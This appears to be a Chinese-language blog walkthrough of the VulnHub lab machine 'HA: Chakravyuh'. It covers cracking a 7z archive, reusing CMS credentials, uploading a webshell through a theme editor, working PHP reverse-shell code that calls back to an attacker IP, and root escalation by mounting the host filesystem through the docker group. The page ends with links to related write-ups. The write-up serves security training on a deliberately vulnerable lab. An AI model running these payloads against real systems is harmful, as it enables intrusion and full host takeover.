HA: Chakravyuh

Vulnhub靶场

下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/

背景:

Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.

ENUMERATION IS THE KEY!!!!!

端口扫描

发现ftp中存在arjun.7z

扫描路径

MySQL数据库

收集到这些信息后,猜测Getshell的流程是,通过压缩包知道数据库账号密码,数据库拿shell。

所以,先爆破arjun.7z的密码

Fcrackzip这款软件前面的靶机用过,挺好的,但不支持7z

Rarcrack这款软件可以爆破7z,但不能跑字典,遍历太久不现实。

rarcrack arjun.7z --threads 10 --type 7z

最后,我用的是PasswareKit,速度还是挺快的,支持GPU加速,

利用软件本身携带的字典将其破解,压缩包内的txt文本文件。

密码是family。

Base64解密:

gila:admin@gmail.com:princesa

不是数据库的密码。

看看是不是目录,前面的gila

http://192.168.139.140/gila/

http://192.168.139.140/gila/admin

在Themes处有模板选择,点击文件图标能编辑模板文件。

这里能够上传任意文件,上传了个马。

这个马无法解析,因为shell.ph被URL重写,将所有的指向index.php处理。

这里能够获取到数据库的账号密码。

进入数据库。

这里写入路径做了限制,不能直接写入shell,不过可以利用慢日志来获取shell。

同时该cms默认存在phpinfo。一般就是默认的/var/www/html/

但,这里不通过数据库Getshell

通过在index.php中写入反弹shell的代码Getshell

$sock=fsockopen("192.168.139.1",3418);exec("/bin/sh -i <&3 >&3 2>&3");

在PHP中执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了。

当系统没有禁用proc_popen的情况下,利用下面代码反弹shell。

$sock = fsockopen('192.168.139.1',3418);

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

成功反弹shell。

python -c "import pty;pty.spawn('/bin/bash');"

获取交互式shell

查找提权的点

查找777权限文件

查找suid的文件

在查看id时,发现该用户处于docker组。

可以利用docker提权,大概过程就是建立一个容器,将本机的文件加载其中。

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

详细情况可百度 docker提权。

Cat /root/final.txt

VulnHub靶场学习_HA: Chakravyuh的更多相关文章

  1. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  2. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  3. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  4. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  5. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  6. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. 学习jvm(一)--java内存区域

    前言 通过学习深入理解java虚拟机的教程,以及自己在网上的查询的资料,做一个对jvm学习过程中的小总结. 本文章内容首先讲解java的内存分布区域,之后讲内存的分配原则以及内存的监控工具.再下来会着 ...

  2. 关于maven的一份小笔记

    简介 项目里一直用的 maven,几乎天天和这个"熟知"的工具打交道,但是,最近我发觉自己对 maven 了解的还不够,例如,什么是 goal?什么是 phase?等等.趁着最近有 ...

  3. python mysql中in参数化说明

    第一种:拼接字符串,可以解决问题,但是为了避免sql注入,不建议这样写 还是看看第二种:使用.format()函数,很多时候我都是使用这个函数来对sql参数化的 举个例子: select * from ...

  4. web自动化 -- Select(下拉选择框操作)

    目标:(现在 select 这种已经很少了.一般都是  ul/li 或者 span/svg) 代码示例:

  5. 如何利用Gitlab-ci持续部署到远程机器?

    长话短说,今天聊一聊使用Gitlab-CI 自动部署到远程服务器. 如果看过<>这篇文章的朋友,会注意到我是在 Gitlab-Runner服务器上自动部署的站点,本次我们结合ssh部署到远 ...

  6. SQL Server跟踪工具Profiler的使用

    一.什么是SQL Profiler SQL Server Profiler 是一个功能丰富的界面,用于创建和管理跟踪并分析和重播跟踪结果. 事件保存在一个跟踪文件中,稍后试图诊断问题时,可以对该文件进 ...

  7. Windows下使用图形化mount挂载磁盘到文件夹

    Windows上也有类似于Linux上的mount命令,至于mount是什么: mount是Linux下的一个命令,它可以将分区挂接到Linux的一个文件夹下,从而将分区和该目录联系起来,因此我们只要 ...

  8. 编程小白的第一本python入门书电子版|百度网盘分享无偿获取|评分超高的python教材

    点此进入网盘下载提取码:cr74 为了能让更多的编程小白轻松地入门编程,把高效学习法结合 Python 中的核心知识,写成了这本书.随意翻上几页,你就会发现这本书和其他编程书的不同,其中有大量的视觉化 ...

  9. map,reduce,filter基础实现

    #coding=gbk from operator import add # 导入加法 # map 函数名 , 序列对象 print(list(map(str,range(5)))) print(li ...

  10. PHP log1p() 函数

    实例 返回不同数的 log(1+number): <?phpecho(log1p(2.7183) . "<br>");echo(log1p(2) . " ...